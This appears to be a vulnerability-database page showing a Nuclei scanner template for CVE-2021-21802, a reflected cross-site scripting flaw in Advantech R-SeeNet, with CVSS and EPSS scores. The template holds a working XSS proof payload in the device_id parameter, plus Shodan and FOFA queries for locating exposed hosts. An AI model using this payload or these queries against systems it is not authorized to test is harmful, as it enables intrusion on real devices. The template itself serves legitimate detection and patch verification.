Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-21802
HistoryJul 18, 2021 - 1:12 p.m.

Advantech R-SeeNet - Cross-Site Scripting

2021-07-1813:12:01
ProjectDiscovery
github.com
1

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

Access Complexity

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.802 High

EPSS

Percentile

98.3%

Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the device_id parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.

id: CVE-2021-21802

info:
  name: Advantech R-SeeNet - Cross-Site Scripting
  author: gy741
  severity: medium
  description: Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the device_id parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in the R-SeeNet application.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21801
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21802
    cwe-id: CWE-79
    epss-score: 0.80194
    epss-percentile: 0.98308
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query: http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,rseenet,xss,advantech

http:
  - method: GET
    path:
      - '{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"zlo onerror=alert(1) "'
          - 'Device Status Graph'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cd46af1935b78ddabc1df51e8d524d1eb0f1512af303e5782c69254e0ffc7b41022100d50646e7154c919aede3e7f7a7d121c3b53195dab4670007883da7f12d2e29a2:922c64590222798bb761d5b6d8e72950

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

Access Complexity

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.802 High

EPSS

Percentile

98.3%